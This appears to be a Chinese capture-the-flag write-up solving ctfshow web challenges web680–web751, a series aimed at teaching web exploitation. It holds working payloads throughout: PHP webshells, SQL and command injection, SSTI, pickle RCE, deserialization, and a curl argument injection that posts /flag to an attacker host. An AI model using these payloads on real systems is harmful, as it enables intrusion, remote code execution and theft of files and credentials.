文章目录
- web680
- web681
- web682
- web683
- web684 create_function()
- web685
- web686(无参RCE)
- web687
- web688 escapeshellcmd()
- web689 ssrfme
- web690
- web691
- web692
- web693
- web694
- web695
- web696
- web697
- web698
- web711
- web712
- web713
- web717
- web718
- web719
- web720
- web721
- web722
- web723
- web724
- web725
- web726
- web727
- web728
- web729
- web730
- web731
- web732
- web733
- web734
- web735
- web736
- web743
- web744
- web745
- web746
- web747
- web748
- web749
- web750
- web751
web680
code=phpinfo();
很多函数被禁了,可以看看源码
code=copy('index.php','1.txt');
<?php
error_reporting(0);
$code = $_POST['code'];
eval($code);
?>
post code to run!
code=var_dump(scandir("."));
当前目录下有个 secret_you_never_know,直接访问拿到flag
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(5) "1.txt" [3]=> string(9) "index.php" [4]=> string(21) "secret_you_never_know" } post code to run!
web681
随便输点什么都是一个页面,绿帽子无语
抓个包发现可以注入
但是注意这里会把输入的单引号直接换成空吞掉
payload
name = ||1#\
就相当于这个样子,构造闭合
select count(*) from ctfshow_users where username = '.....' || 1 #\'good job
web682
web683
if(!is_numeric($_GET['秀'])){
die('必须是数字');
}else if($_GET['秀'] < 60 * 60 * 24 * 30 * 2){
die('你太短了');
}else if($_GET['秀'] > 60 * 60 * 24 * 30 * 3){
die('你太长了');
}else{
sleep((int)$_GET['秀']);
echo $flag;
sleep((int)$_GET['秀']);
可以用16进制绕,会被强转成 0
0x755000
web684 create_function()
?action=%5ccreate_function&arg=}system("cat /secret_you_never_know");//
web685
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
关键是绕过正则传马
PHP 为了防止正则表达式的拒绝服务攻击,给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万
如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是直接 false。这样我们就可以绕过正则表达式了
import requests
url = "http://b83ed53b-14bc-4499-a75f-de56ae248803.challenge.ctf.show/"
files = {
'file': "<?php eval($_POST[1]);echo 'paidx0';?>"+'a' * 1000000
}
respone = requests.post(url=url,files=files)
for i in range(11):
new_url = url+'data/{}.php'.format(i)
new_respone = requests.get(new_url).text
#print(new_respone)
if 'paidx0' in new_respone:
print(i)
web686(无参RCE)
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
正则的意思是多次匹配像这种格式的 a(b(c(d()))),
将他们替换成空,最后是 ;结尾的
姿势一 getallheaders()
前提是中间件要是Apache的才行,
返回一个数组,当前请求中所有的HTTP标头
所以如果我们在HTTP头中插入恶意代码,就可以从这个数组中提取出来
再HTTP头尾部插入shell: phpinfo();
,用 end()来拿我们的最后一个值shell
所以如果把 var_dump 换成 eval 就可以执行phpinfo了
?exp=eval(end(getallheaders()));
姿势二 get_defined_vars()
它并不是获取的headers,而是获取的四个全局变量$_GET ,$_POST ,$_COOKIE ,$_FILES
,而它的返回值是一个二维数组,我们利用GET方式传入的参数在第一个数组中,利用current() 或者 pos() 将这个数组取出
类比上面,我们同样可以用 end() 将最后一个变量值取出,然后直接 eval
?exp=eval(end(pos(get_defined_vars())));&shell=phpinfo();
姿势三 session_id()
将恶意代码写到Cookie 的 PHPSESSID中,然后利用session_id()去把他读出来,然后直接 eval
session_id()需要先开启session才能使用,所以要先session_start()
需要注意的是,PHPSESSID 只能是字母数字 -
所以我们可以先16进制编码再丢进去
?exp=eval(hex2bin(session_id(session_start())));
web687
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 1 ' . $target );
payload :?ip=127.0.0.1%0acat /flaaag
%0a绕过过滤管道符
web688 escapeshellcmd()
$url=escapeshellarg($url);
$url=escapeshellcmd($url);
system("curl ".$url);
假设传入参数
127.0.0.1' -v -d a=1'
由于escapeshellarg先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用
被 \' 分成两部分
'127.0.0.1' \' '-v -d a=1' \'
接着 escapeshellcmd 函数对第二步处理后字符串中的 \ 进行转义处理
转义后的\\被解释成\,而不再是转义字符,形成单引号闭合
'127.0.0.1' \\ '' -v -d a=1'\\'
payload
?url=http://ip:port/' -F file=@/flag '
web689 ssrfme
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = "upload/".$_GET['path'];
}else{
show_source(__FILE__);
exit();
}
if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
就是将 file_get_contents($file) 读出的内容写到 $path 中去
?file=http://127.0.0.1/?file=http://127.0.0.1/&path=<?php phpinfo();?>
返回值源码中插入了phpinfo(),我们最后只需把这个源码写到文件中就可以了
?path=1.php&file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php phpinfo();?>
web690
if ( !preg_match('/^\w+$/', $args[$i]) )
exit("sorry");
}
exec('./ ' . implode(" ", $args));
传入数组中只能是字母数字下划线,最后通过 implode() 压缩数组成字符串执行
但是因为exec是不返回执行结果的,所以直接构造命令看回显就不现实,还是写一句话马上去吧
关于preg_match() 前面也说过,是可以用%0a 来绕过的,换行符可以分割命令,执行多条命令
vps上可以创建一个index.html,文件内容
<?php
file_put_contents("shell.php",'<?php eval($_POST[1]);?>');
?>
为什么是html不是直接php呢,因为过程中文件内容会被解析,wget下载下来的内容就不是原始内容了
args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=ip十进制
等价于 exec(./1; mkdir a;cd a;wget 2130706433)
创建了一个a目录,并把index.html下载进去了
现在问题是怎么执行这个(.html)文件里的内容,这个点怎么处理掉
一个比较好的方法是通过tar命令,我们如果压缩文件夹的话,文件夹中的内容在压缩文件中会完完整整的保留下来。
args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a
等价于 exec(./1; tar cvf shell a)
a文件夹被打包成shell,执行php代码
args[]=1%0a&args[]=php&args[]=shell
等价于 exec(./1; php shell)
最后只需要访问index.html中代码生成的shell.php就可以了
web691
function filter($str){
$filterlist = "/\(|\)|username|password|where|
case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist,strtolower($str))){
die("illegal input!");
$sql = "select * from admin where username =
'$username' and password = '$password' ";
$res = $conn -> query($sql);
if($res->num_rows>0){
$row = $res -> fetch_assoc();
if($row['id']){
echo $row['username'];
}
}else{
可以看见的是,过滤掉了一些关键字,然后是括号过滤掉了
判断出有3个列
username='|| 1 order by 3#&password=111
order by 的一个盲注小技巧
order by 进行排序,如果小于那就在第一列,如果大于就在后一列,所以可以盲注flag
import requests
s=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
url="http://efa8df9c-daf3-42eb-bb86-53cf6669ae7d.challenge.ctf.show/"
k=''
for i in range(1,50):
print(i)
for j in s:
data={
'username':"' or 1 union select 1,2,'{0}' order by 3#".format(k+j),
'password':'1111'
}
r=requests.post(url,data=data)
print(data['username'])
if("</code>admin" in r.text):
k=k+chr(ord(j)-1)
print(k)
break
web692
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);
先转义引号,然后将传入的内容用单引号包住又再次写入
比如传入
aaa; phpinfo();//
'aaa; phpinfo();//'
如果在读取一次会怎么样
\'aaa; phpinfo();//\'
'\'aaa; phpinfo();//\''
会发现 phpinfo(); 成功逃逸出单引号
payload
option=;eval($_POST[1]);//
option=%00
web693
$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
include($file);
session_start();
$_SESSION['name'] = $_POST['name'];
if($_SESSION['name']=='admin'){
header('location:admin.php');
}
可以发现function可控,然后include包含$file,利用extract变量覆盖来包含出文件
?function=extract&file=php://filter/convert.base64-encode/resource=function.php
?function=extract&file=php://filter/convert.base64-encode/resource=admin.php
//function.php
if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
die('Do not hack me!');
//admin.php
if(empty($_SESSION['name'])){
session_start();
echo 'hello ' + $_SESSION['name'];
}else{
die('you must login with admin');
payload
?function=extract&file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMzYwXSk7
POST: 360=system('cat /flag');
web694
$action=$_GET['action'];
$file = substr($_GET['file'],0,3);
$ip = array_shift(explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']));
$content = $_POST['content'];
$path = __DIR__.DIRECTORY_SEPARATOR.$ip.DIRECTORY_SEPARATOR.$file;
if($action=='ctfshow'){
file_put_contents($path,$content);
意思就是将$content 写到$path 路径中
$path = ./ip/file
所以可以直接写马了
web695
如果向文件上传的路由上传json主体的格式,那么其中path将被解析成已经上传完的文件位置保存到相应文件中。
router.post('/uploadfile', async (ctx, next) => {
const file = ctx.request.body.files.file;
if (!fs.existsSync(file.path)) {
return ctx.body = "Error";
}
if(file.path.toString().search("/dev/fd") != -1){
file.path="/dev/null"
}
const reader = fs.createReadStream(file.path);
let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
let filePath = path.join(__dirname, 'upload/') + fileId
const upStream = fs.createWriteStream(filePath);
reader.pipe(upStream)
return ctx.body = "Upload success ~, your fileId is here:" + fileId;
});
router.get('/downloadfile/:fileId', async (ctx, next) => {
let fileId = ctx.params.fileId;
ctx.attachment(fileId);
try {
await send(ctx, fileId, { root: __dirname + '/upload' });
}catch(e){
return ctx.body = "no_such_file_~"
}
});
payload
{"files": {"file":{"name":"paidx","path":"/etc/passwd"}}}
/etc/passwd 会被复制到 paidx文件里
只需要下载 paidx文件就拿到了/etc/passwd 里的数据
在 downloadfile/paidx 下载文件就行
web696
web697
首页是一片黑,源码发现参数,会判断 NOHO是大了还是小了
直接给一个数组,NULL == 0绕过了
来到下一个登录页,看源码,发现单引号中的内容好像是乱码耶,看了大佬的解答是被MD5给加密了
md5加密后的十六进制自带单引号的几个字符串
ffifdyop
e58
4611686052576742364
web698
web711
robos.txt中有提示信息 ctfshow_love_you
session_id 是jwt,尝试伪造
登录进去,flag在图片上
web712
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) !== 0) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>
代码的意思简单点说就是删了又写又删
stristr 函数
用换行绕过就可以
然后再利用.htaccess
包含自身
详细思路可以看看这几篇文章
Apache的.htaccess利用技巧
XNUCA2019 ez系列web题解
[XNUCA2019Qualifier]EasyPHP
XNUCA2019Qualifie
payload
php_value auto_prepend_fi\
le ".htaccess"
#<?php eval($_GET[1])?> \
?filename=.htaccess&content=%70%68%70%5f%76%61%6c%75%65%20%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%5c%0a%6c%65%20%22%2e%68%74%61%63%63%65%73%73%22%0a%23%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%47%45%54%5b%31%5d%29%3f%3e%20%5c
这题卡了很久,开始试的时候可以执行phpinfo(),我就在想直接反弹shell吧
但是不知道什么原因一直没弹出来,一直卡在这里又一直试,害
web713
web717
/*"+/*'*/i/+target.exploit//
web718
is_numeric($json["part1"])?die("nope"):NULL;
if(@$json["part1"]){
($json["part1"]>2021)?$v1=1:NULL;
}
//$json['part1']='2022a';
if(is_array($json["part2"])){
if(count($json["part2"])!==5 OR !is_array($json["part2"][0])) die("nope");
$pos = array_search("show", $json["a2"]);
$pos===false?die("nope"):NULL;
foreach($json["part2"] as $key=>$val){
$val==="show"?die("nope"):NULL;
}
//$json['part2']=array('0'=>['1'],'1'=>'1','2'=>'1','3'=>'1','4'=>'1');
//$json['a2']=array('show');
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "ctfshow")?$v3=1:NULL;
}
}
//strcmp可以用数组绕过
//eregi可以%00 给截断掉
//c[0]=aactfshow&c[1][]=a&d=%00a
web719
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
$sql="SELECT * FROM user WHERE user = '{$_POST['uname']}'";
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "flag{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
查询出的 pwd 要等于传进来的 pwd,因为不知道 pwd是什么,就有了下面的 NULL=NULL的姿势
uname=1}'||1 group by pass with rollup limit 1 offset 1#&pwd=
又学到了,offset
和 limit
一样可以分页,加入with rollup
后 password有一行为NULL,
只要输入空密码使得(NULL==NULL)即可满足$password==$row['password']
的限制成功登陆。
web720
比较简单,直接数组就行,和MD5比较是一样的
name[]=1&password[]=2
web721
web722
foreach ($_GET as $key => $value)
$$key = $$value;
foreach ($_POST as $key => $value)
$$key = $value;
if ( $_POST["flag"] !== $flag )
die($fail);
echo "This is your flag : ". $flag . "\n";
die($success);
GET :success=flag POST flag=
web723
password=||1=1#&username=123\
select * from user where username='123\' and password='||1=1#'
web724
eval('$code="'.addslashes($value).'";');
value=${system(ls)}
eval($code="${system(ls)}";)
双引号中${ }
内容会被解析
web725
update注入
$sql = "UPDATE `{$table}` SET `user`='ctfshow' WHERE id=1";
table_name=user` SET user=1 or extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database() ),0x7e))#&username=1
//ctfshow_secret
table_name=user` SET user=1 or extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=0x63746673686f775f736563726574),0x7e))#&username=1
//secret
table_name=user` SET user=1 or extractvalue(1,concat(0x7e,(select right(secret,25) from ctfshow_secret),0x7e))#&username=1
web726
$file = file_get_contents('config.php');
$file = preg_replace('|\$db=\'.*\';|', "\$db='$username';", $file);
file_put_contents('config.php', $file);
同web692
两次匹配写入达到逃出单引号的目的,第二次%00匹配返回整个字符串,引号闭合逃出
username=;eval($_POST[1]);phpinfo();//
username=%00
web727
web728
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("hack!");
payload
assert("strpos('',phpinfo());//,abc")
code=',system('tac t*/f*'));//
也就是
assert("strpos('',system('tac t*/f*'));//', '..') === false")
web729
$flag_input = $_POST['flag'];
if((strcmp(flag_input,$flag)))
{
die("flag不正确");
}
$_p = 6543;
$_l = 21;
$l = strlen($_GET['secret']);
$_i = intval($_GET['secret']);
if($l !== $_l || $_i !== $_p)
{
die("系统异常");
}
echo "< !--$flag-- >";
secret=6543.0000000000000000
flag[]=1
web730
web731
$hash = sha1($_GET['hash']);
$target = sha1(10932435112);
if($hash == $target) {
include('flag.php');
print $flag;
0e开头,就像MD5那个比较一样,字符串作为比较时会科学计数法,也就是 0
aaroZmOk
web732
var _0x575c = ['2-4', 'substring', '4-7', 'getItem', 'deleteItem', '12-14', '0-2', 'setItem', '9-12', '^7M', 'updateItem', 'bb=', '7-9', '14-16', 'localStorage', ];
(function(_0x4f0aae, _0x575cf8) {
var _0x51eea2 = function(_0x180eeb) {
while (--_0x180eeb) {
_0x4f0aae['push'](_0x4f0aae['shift']());
}
};
_0x51eea2(++_0x575cf8);
}(_0x575c, 0x78));
var _0x51ee = function(_0x4f0aae, _0x575cf8) {
_0x4f0aae = _0x4f0aae - 0x0;
var _0x51eea2 = _0x575c[_0x4f0aae];
return _0x51eea2;
};
function CheckPassword(_0x47df21) {
var _0x4bbdc3 = [_0x51ee('0xe'), _0x51ee('0x3'), _0x51ee('0x7'), _0x51ee('0x4'), _0x51ee('0xa')];
window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('9-12', 'BE*');
window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x2'), _0x51ee('0xb'));
window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x6'), '5W');
window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('16', _0x51ee('0x9'));
window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x5'), 'pg');
window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('7-9', '+n');
window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0xd'), '4t');
window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x0'), '$F');
if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x8')) === _0x47df21[_0x51ee('0x1')](0x9, 0xc)) {
if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x2')) === _0x47df21['substring'](0x4, 0x7)) {
if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x6')) === _0x47df21[_0x51ee('0x1')](0x0, 0x2)) {
if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]]('16') === _0x47df21[_0x51ee('0x1')](0x10)) {
if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x5')) === _0x47df21[_0x51ee('0x1')](0xc, 0xe)) {
if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0xc')) === _0x47df21[_0x51ee('0x1')](0x7, 0x9)) {
if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0xd')) === _0x47df21[_0x51ee('0x1')](0xe, 0x10)) {
if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x0')) === _0x47df21[_0x51ee('0x1')](0x2, 0x4))
return !![];
return ![];
}
不会 js,看不太懂,直接放答案了
web733
index.php.txt
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
$g = $perm->is_guest();
$a = $perm->is_admin();
}
catch(Error $e){
die("閴存潈澶辫触 ".$perm);
}
class.php.txt
<?php
class permissions
{
public $username;
public $password;
function __construct($u, $p) {
$this->username = $u;
$this->password = $p;
}
function __toString() {
return $u.$p;
}
function is_guest() {
$guest = false;
$con = new SQLite3("../users.db");
$username = $this->username;
$password = $this->password;
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
$stm->bindValue(1, $username, SQLITE3_TEXT);
$stm->bindValue(2, $password, SQLITE3_TEXT);
$res = $stm->execute();
$rest = $res->fetchArray();
if($rest["username"]) {
if ($rest["admin"] != 1) {
$guest = true;
}
}
return $guest;
}
function is_admin() {
$admin = false;
$con = new SQLite3("../users.db");
$username = $this->username;
$password = $this->password;
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
$stm->bindValue(1, $username, SQLITE3_TEXT);
$stm->bindValue(2, $password, SQLITE3_TEXT);
$res = $stm->execute();
$rest = $res->fetchArray();
if($rest["username"]) {
if ($rest["admin"] == 1) {
$admin = true;
}
}
return $admin;
}
}
class access_log
{
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
function __toString() {
return $this->read_log();
}
function append_to_log($data) {
file_put_contents($this->log_file, $data, FILE_APPEND);
}
function read_log() {
return file_get_contents($this->log_file);
}
}
这道题有一些迷惑的地方,先是这个类permissions
仔细看其实没可以利用的地方,
然后就是这个类access_log
,有一个读一个写,但是写的话没有可以调用的地方,所以考虑读方法。
<?php
class access_log
{
public $log_file;
function __construct() {
$this->log_file = 'flag.php';
}
}
$a = new access_log();
echo urlencode(base64_encode(serialize($a)));
//TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo4OiJmbGFnLnBocCI7fQ%3D%3D
讲一下怎么就会触发__toString()
这个方法呢,其实也很简单。
就是
try
的过程反序列化后会调用$g = $perm->is_guest();$a = $perm->is_admin();
然后就触发了catch
接收到异常,die()
字符串拼接$perm
反序列化生成的类,这个时候就触发了__toString()
web734
if ((A.length !== B.length) || (A === B))
return res.send("A和B的值不能相同")
A = md5(secret_key + A)
B = md5(secret_key + B)
if (A == B)
return res.send(flag)
web735
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
被过滤了 " _ .
Your nickname contains restricted characters!
前面也做到过,. 被过滤了可以用attr过滤器绕过
_ 可以16进制,双引号 " 的话就用单引号 ' 就好了
{{(config|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f"))["os"]|attr("popen")("cat c*")|attr("read")()}}
web736
web743
if($a != $b && md5($a) == md5($b))
{
if ($c != $d && sha1($c) == sha1($d))
{
echo $flag;
数组绕过
web744
<?php
class ctfshowCURL{
private $url="file:///var/www/html/flag%2ephp";
private $method="send";
}
echo urlencode(serialize(new ctfshowCURL()));
web745
web746
web747
$command = "bash -c 'echo " . $_POST['data'] . "'";
data=`ls ../`
data=`< ../flag.txt`
web748
提示是pickle
,也就是python的那个序列化,在cookie那里应该就是序列化字段,所以构造去反序列化
import base64
import pickle
class exp(object):
def __reduce__(self):
cmd = 'cat /app/flag.txt'
return __import__('os').popen, (cmd,)
e = exp()
s = pickle.dumps(e)
print(base64.b64encode(s))
#gASVKAAAAAAAAACMAm9zlIwFcG9wZW6Uk5SMEWNhdCAvYXBwL2ZsYWcudHh0lIWUUpQu
web749
web750
取反异或就行
phpinfo()
?formula=((%8F%97%8F%96%91%99%90)^(%ff%ff%ff%ff%ff%ff%ff))();
system("cat /flag.txt")
?formula=(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%d0%99%93%9e%98%d1%8b%87%8b)
web751